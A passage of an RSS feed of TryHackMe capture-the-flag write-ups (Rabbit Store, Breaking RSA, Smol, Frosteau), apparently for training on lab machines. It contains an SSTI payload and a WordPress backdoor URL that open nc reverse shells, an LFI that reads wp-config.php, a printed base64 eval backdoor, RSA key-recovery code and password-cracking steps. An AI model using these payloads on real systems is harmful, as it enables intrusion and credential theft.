            <content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/rabbitstore">Rabbit Store</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*qlfRxdoTxjgrEBr-MZPn5g.png" /></figure><p>Nmap scan</p><p>nmap -T4 -n -sC -sV -Pn -p- IP</p><p>Open ports</p><p>22</p><p>80</p><p>Visiting port 80</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*5d_8T1fuAPO4Dsoq3Zf2Hg.png" /></figure><p>Adding cloudsite.thm to our file at /etc/hosts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G5OoVN5G_tuNUJ7A-DhoJA.png" /></figure><p>After clicking log in we have another subdomain that we need to register</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*Ha7Xt_REnrAykoBWd3OH2w.png" /></figure><p>Now we can access the page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*a9i5xHYIE7lJfGbB0lLAXw.png" /></figure><p>Trying to log in after creating an account we encounter the following message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lJ8Ug_iCJVLtDr9ApL8DKg.png" /></figure><p>It seems that our account needs to be activated. I logged out and intercepted the log in request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MqEUDopCY4gizaWwI4byXw.png" /></figure><p>The account is inactive however, we can see a jwt token and endpoint /api</p><p>We can use this website <a href="https://jwt.io/">https://jwt.io/</a> to decode the token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-CL34swFw0xhRPN-Lj5xEg.png" /></figure><p>I decided to capture the request for new account registration and add a subscription field set it to active.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*whuxW_pjdBCavZlyBg_kbA.png" /></figure><p>Successful log in</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a3CI5kDVa2ZE9bc2SVA9Ww.png" /></figure><p>Trying the option for upload via URL by setting up a local http server using python</p><pre>python3 -m http.server</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*SzNYX6259Ew3ySjDgeHd2A.png" /></figure><p>Upload another file and Intercept the upload request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HoTD5sYxevcKUArnI2H1AQ.png" /></figure><p>Fuzzing endpoint /api there are other endpoints namely docs and upload</p><pre>ffuf -u &#39;http://storage.cloudsite.thm/api/FUZZ&#39; <br> -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt <br> -mc 200,302,403 <br> -t 50 <br> -fc 404 /</pre><p>On burp suite change the upload url to <a href="http://127.0.0.1:3000/api/docs">http://127.0.0.1:3000/api/docs</a> . Reason for port 3000 is because it is the default port for Express as indicated by the <strong>X-Powered-By: Express</strong> header</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*Dl7c67nY1vmiL8BQAG8yyQ.png" /></figure><p>Visit the URL and intercept the request and we some endpoints in the response .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*VMRH8gH9HUjWmKlKwNCSzA.png" /></figure><p>Testing the endpoint /api/fetch_messeges_from_chatbot by making a POST request with an empty JSON payload</p><p>Content-Type: application/json;charset=UTF-8 { “”:”” }</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tz1o4kIPjOhL3VB9XaPkYA.png" /></figure><p>Trying admin as the username and the username entered is reflected in the response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*4OKRDNjpDeSsXLrjWFej7g.png" /></figure><p>Test for SSTI using the payload {&quot;username&quot;:&quot;${{&lt;%[%&#39;\&quot;}}%\\.&quot;}</p><p>Jinja2 throws an error in the response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*KXMvBsVjsEe2E4z3-D434Q.png" /></figure><p>Use the following payload to get a reverse shell</p><pre>{&quot;username&quot;:&quot;{{ self.__init__.__globals__.__builtins__.__import__(&#39;os&#39;).popen(&#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2&gt;&amp;1|nc LHOST LPORT &gt;/tmp/f&#39;).read() }}&quot;}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*q0veEVLHNyuzhcjWmAy-5g.png" /></figure><p>Navigating to the home folder and we can access the user flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*B6lUgsycOcATBwmvWRHXsw.png" /></figure><p>Checking out /etc/passwd we see a user named rabbitmq</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*oY94pT2gFjuwn19VMFe_dg.png" /></figure><p>In the location /var/lib/rabbitmq there are some intersting files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*USd40zTgNoDn9SkVCRcQfg.png" /></figure><p>We need to identify which port RabbitMQ is running on</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*5R-ufU7fgFyMaV9scivMJg.png" /></figure><p>install rabbitmqctl</p><pre>sudo apt install -y rabbitmq-server</pre><p>make sure to add forge to the /etc/hosts file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*bsYbflgVpynuqaXbDChY0Q.png" /></figure><p>Dumping the password hashes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*JzfShFWYzr2uwryCeSeq5g.png" /></figure><p>According to the <a href="https://www.rabbitmq.com/docs/passwords#this-is-the-algorithm">documentation </a>the hash structure is <strong>base64(&lt;4 byte salt&gt; + sha256(&lt;4 byte salt&gt; + &lt;password&gt;))</strong></p><p>Use the following command to get the actual password for the root user</p><p>echo -n ‘49e6hREDACTED’ | base64 -d | xxd -p -c 100</p><h4>Explanation:</h4><ol><li><strong>echo -n &#39;49e6hREDACTED&#39;</strong></li></ol><ul><li>Prints the string &#39;49e6hREDACTED without adding a newline (-n flag prevents a trailing newline).</li></ul><ol><li><strong>base64 -d</strong></li></ol><ul><li>Decodes the Base64 string into raw binary data.</li></ul><ol><li><strong>xxd -p -c 100</strong></li></ol><ul><li>Converts the raw binary data into a hexadecimal dump (-p for plain hex output, -c 100 to format output in lines of up to 100 characters</li></ul><p>remove the 4-byte salt (e3d7ba85) from the beginning and you are left with the hash. Use this hash as the password for the root user. Switch the user to root</p><pre>su - root</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*Tt_jKOY3jUOTZeTh2D3_wA.png" /></figure><p>HAPPY HACKING!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=04a610185c8b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Breaking RSA Tryhackme writeup]]></title>
            <link>https://medium.com/@St3mw4s/breaking-rsa-tryhackme-writeup-449bfb030d64?source=rss-00a777ece2f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/449bfb030d64</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[St3mw4s ]]></dc:creator>
            <pubDate>Wed, 12 Feb 2025 08:40:18 GMT</pubDate>
            <atom:updated>2025-02-12T08:40:18.694Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/breakrsa">https://tryhackme.com/room/breakrsa</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*-IoHJMonyy8K5e9cC_a62A.png" /></figure><p>NMAP SCAN</p><p>nmap -sC -sV -Pn -vvv ip</p><p>open ports 80,22</p><p>For the hidden web page gobuster dir -u <a href="http://10.10.60.133/">http://10.10.60.133</a> -w /usr/share/wordlists/dirb/common.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*wwIRITsoVRh2Kk5S6CP1SQ.png" /></figure><p>Visit the page and download the rsa public key</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*-SZOBI0guFNjSz9rzl8n7A.png" /></figure><p>To determine key length use the following command</p><p>ssh-keygen -l -f id_rsa.pub</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*HuKe38EsewCfvvdqj2P_Ow.png" /></figure><p><strong>Determining values of n and e</strong></p><pre>from Crypto.PublicKey import RSA<br>f=open(&quot;id_rsa.pub&quot;,&quot;r&quot;)<br>key= RSA.importKey(f.read())<br>print(&quot;The n value is[*]&quot;,key.n)<br>print(&quot;The e value is[*]&quot;,key.e)</pre><p><strong>Factorizing n to get p and q using the Fermat’s factorization</strong></p><pre>import math<br><br>def fermat_factor(n):<br>    a = math.isqrt(n)  # Start with the integer square root of n<br>    if a * a &lt; n:<br>        a += 1<br>    while True:<br>        b_squared = a * a - n<br>        b = int(math.isqrt(b_squared))<br>        if b * b == b_squared:  # Check if b^2 is a perfect square<br>            p = a - b<br>            q = a + b<br>            return p, q<br>        a += 1<br><br># Example usage<br>n = 96034377  # Replace with your n<br>p, q = fermat_factor(n)<br>print(f&quot;p = {p}, q = {q}&quot;)</pre><p><strong>Obtaining the value of d</strong></p><pre>from sympy import mod_inverse<br><br>def calculate_d(p, q, e):<br>    phi = (p - 1) * (q - 1)  # Compute φ(n)<br>    d = mod_inverse(e, phi)  # Compute d as the modular inverse of e mod φ(n)<br>    return d<br><br># Example usage<br>p = 309340617408516621      # Replace with your p<br>q = 30989     # Replace with your q<br>e = 65537     # Replace with your e<br>d = calculate_d(p, q, e)<br>print(f&quot;d = {d}&quot;)</pre><p><strong>Reconstructing the private key</strong></p><pre>from Crypto.PublicKey import RSA<br>n=9603432383 # replace with your n<br><br>e=65537<br>d=355800651 # replace with your d<br>private_key = RSA.construct((n,e,d))<br>with open(&#39;priv&#39;,&#39;wb&#39;) as f:<br>    f.write(private_key.export_key(&#39;PEM&#39;))</pre><p>Setting necessary permissions</p><p>chmod 600 priv</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*uYhFgsfWM2rVvk6GcwCKpg.png" /></figure><p>After logging in we get our flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*r2C1V-cFn4etgPskU5UimA.png" /></figure><p>HAPPY HACKING!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=449bfb030d64" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SMOL TRYHACKME WRITEUP]]></title>
            <link>https://medium.com/@St3mw4s/smol-tryhackme-writeup-13c350778852?source=rss-00a777ece2f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/13c350778852</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[St3mw4s ]]></dc:creator>
            <pubDate>Thu, 30 Jan 2025 08:44:26 GMT</pubDate>
            <atom:updated>2025-01-30T08:44:26.276Z</atom:updated>
            <content:encoded><![CDATA[<h3>SMOL TRYHACKME WRITE UP</h3><p><a href="https://tryhackme.com/r/room/smol">https://tryhackme.com/r/room/smol</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*4xfSHhjs2x5MHOxx3cRmjg.png" /></figure><p>Nmap scan</p><p>nmap -T4 -n -sC -sV -Pn -vvvv 10.10.108.54</p><p>open ports 22,80</p><p>Visiting port 80 indicates that we must add smol.thm &amp; <a href="http://www.smol.thm/">www.smol.thm</a> to our /etc/hosts file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*B7RVdanPSnEG3WZwh1QxcQ.png" /></figure><p>We see a word press powered website</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2gbB-HgriHrlsu3N6Fo0-A.png" /></figure><p>Enumeration using wpscan</p><p>wpscan — url <a href="http://www.smol.thm/">http://www.smol.thm/</a></p><p>we see the jsmol2wp plugin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*-Dls-IG8ikFgku690fP0Rw.png" /></figure><p>After researching the plugin has a vulnerability <a href="https://wpscan.com/vulnerability/ad01dad9-12ff-404f-8718-9ebbd67bf611/">CVE-2018–20463</a></p><p>Using LFI to read credentials</p><p><a href="http://www.smol.thm//wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&amp;call=getRawDataFromDatabase&amp;query=php://filter/resource=../../../../wp-config.php">http://www.smol.thm//wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&amp;call=getRawDataFromDatabase&amp;query=php://filter/resource=../../../../wp-config.php</a></p><p>Log in Success and on pages we find webmaster task and something about a backdoor using hello dolly plugin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*N8rKXmpL6F9ez0egNwROXg.png" /></figure><p>Again use LFI to read the source code</p><p><a href="http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&amp;call=getRawDataFromDatabase&amp;query=php://filter/resource=../../../../wp-content/plugins/hello.php">http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&amp;call=getRawDataFromDatabase&amp;query=php://filter/resource=../../../../wp-content/plugins/hello.php</a></p><p>The following function has a suspicious code</p><p>// This just echoes the chosen line, we’ll position it later. function hello_dolly() { eval(base64_decode(‘CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA=’));</p><pre>$chosen = hello_dolly_get_lyric();<br>$lang   = &#39;&#39;;<br>if ( &#39;en_&#39; !== substr( get_user_locale(), 0, 3 ) ) {<br>	$lang = &#39; lang=&quot;en&quot;&#39;;<br>}<br><br>printf(<br>	&#39;&lt;p id=&quot;dolly&quot;&gt;&lt;span class=&quot;screen-reader-text&quot;&gt;%s &lt;/span&gt;&lt;span dir=&quot;ltr&quot;%s&gt;%s&lt;/span&gt;&lt;/p&gt;&#39;,<br>	__( &#39;Quote from Hello Dolly song, by Jerry Herman:&#39; ),<br>	$lang,<br>	$chosen<br>);</pre><p>}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*7-ZsNJx0nImTbLhEI-MZeQ.png" /></figure><p>We can see that the file is included in the dashboard at the top right “Dolly’ll never go away again”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*remCf5eAR_OoFn0dNaYt9g.png" /></figure><p>Trigger a reverse shell by visiting</p><p><a href="http://www.smol.thm/wp-admin/?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.10.1.2%209001%20%3E%2Ftmp%2Ff">http://www.smol.thm/wp-admin/?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.10.1.2%209001%20%3E%2Ftmp%2Ff</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*9RpMcc6r0uPZQNPMBgw1dw.png" /></figure><p><strong>For an interactive session</strong></p><p>ctrl + z (to background)</p><p>stty raw -echo;fg</p><p>reset xterm</p><p>export TERM=xterm</p><p>Access the database mysql -u wpuser -p’kb[REDACTED]%G’ -D wordpress</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*2NbLzSGPYBoorHXzEN-Y3g.png" /></figure><p>Save the hashes in a file and crack with john</p><p>john dbpass — wordlist=/usr/share/wordlists/rockyou.txt</p><p>we cracked the password of diego</p><p>switching the user su — diego</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*Pe9EnEIo-StSW4AZDrcRzQ.png" /></figure><p>Since we are part of internal group we can access home folders of users in the same group. we find ssh keys of user think. ![[internal.png]] Save the key in our local machine and ssh into the server</p><p>ssh think@10.10.49.38 -i id_rsa</p><p>switching user to gege we discover a zip file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*f-eehcq8ubrBxEOE-clp8A.png" /></figure><p>Set up a python webserver and we can access the file into our browser</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*kgxKoxFyUup6sYuRDB3slw.png" /></figure><p>The directory is available on our browser on port 8000</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*FnUmYiPcdv0sC2PiM52RwQ.png" /></figure><p>Unfortunatly we cannot unzip since its password protected</p><p>zip2john wordpress.old.zip &gt; wordpress</p><p>john wordpress — wordlist=usr/share/wordlist/rockyou.txt</p><p>We cracked the password and now we can unzip and read the file wordpress.old/wp-config.php to find the password of user xavi</p><p>Switch user to xavi using the password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*xM0_h4J8jw3JZfc2EsPnlQ.png" /></figure><p>We can see xavi can run all commands, nice switch to root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*5jQYQtpjGthx2HWLGtUBxQ.png" /></figure><p>HAPPY HACKING!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=13c350778852" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Frosteau Busy with Vim]]></title>
            <link>https://medium.com/@St3mw4s/frosteau-busy-with-vim-d3be59a563e0?source=rss-00a777ece2f2------2</link>
            <guid isPermaLink="false">https://medium.com/p/d3be59a563e0</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[St3mw4s ]]></dc:creator>
            <pubDate>Thu, 19 Dec 2024 11:43:16 GMT</pubDate>
            <atom:updated>2024-12-23T08:11:50.573Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://tryhackme.com/r/room/busyvimfrosteau">https://tryhackme.com/r/room/busyvimfrosteau</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*OnqJGXtVDVe5X7P2JGWw5A.png" /></figure><p>Nmap -sC -sV -p- -vvv ip</p><p>open ports 22 80 8065<br> 8075<br> 8085<br> 8095</p><p>Checking out telnet port 8075 we see some interesting files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*boWqW9bZLacL3cIT0xjTFw.png" /></figure><p>You can download all the files using the command</p><p>mget * .</p><p>Telnet to port 8085 and we immediately enter vim</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*uAb3Gfa9rflbXCdftSP8-w.png" /></figure><p>trying to execute a shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*-Wc8rQQnr4oXbCK0DP8Rsw.png" /></figure><p>Trying some cursor movement using cheetsheet <a href="https://vim.rtorr.com/">https://vim.rtorr.com/</a> :E</p><p>We find a docker env file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*gvejVvWlJivK1Uq-oeur1w.png" /></figure><p>Recall earlier flag-2-of-4.sh after using cat command indicated the flag was stored as an environment variable.</p><p>use the following command in vim to get flag 2</p><p>:e /proc/self/environ</p><p>Using the vim file explore i decided to look around and found a shell of user named frosty in /usr folder and also in /etc/file we find busybox</p><p>Go in insert mode in vim ( pressing i) and add ( ensure you are in the location /usr/frosty/sh)</p><p>!/etc/file/busybox</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*wuZgLCJsW8usuMQxzdz4DA.png" /></figure><p>write and quit in vim ( :wq!) to save the content</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*iesyj0XIf27u5MCHuKYmhg.png" /></figure><p>Reconnect again and execute the following command to edit</p><p>:e /usr/frosty/sh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*2XgcYl4bnHFT7eW5hWGrUQ.png" /></figure><p>adding the # to the previous command don&#39;t forget to go to insert mode (pressing i) and saving (:wq!)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*kvdIvkp4JbQlj0pAwdvLPQ.png" /></figure><p>The previous port 8065 that was being closed by the remote host can now be accessed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*lEuliT0oFJjXbkjW9WCybg.png" /></figure><p>To run any command inside the machine we have to start with /etc/file/busybox to avoid this you need to set alias for the command</p><p>alias k=/etc/file/busybox</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*jCcrVFffAO4cnqXsCmElkA.png" /></figure><p>Flag three can be found by listing files in root directory</p><p>k cd /root k ls /root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*utLDE7fDE72wYbg6CjLdNQ.png" /></figure><p>Using the command k fdisk -l we can see available disks that can be mounted</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*-phJwR1V08gKHJqm4BbccQ.png" /></figure><p>Mounting the /dev/xvda1 diskt to mnt directory</p><p>k mount rw -o /dev/xvda1 /mnt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*Cmyscp7qAXRwnDvT85gVlw.png" /></figure><p>The final flag and key can be found in /mnt/root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*oNI3u1ktQORHSSGkLNsn6A.png" /></figure><p>HAPPY HACKING !!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d3be59a563e0" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>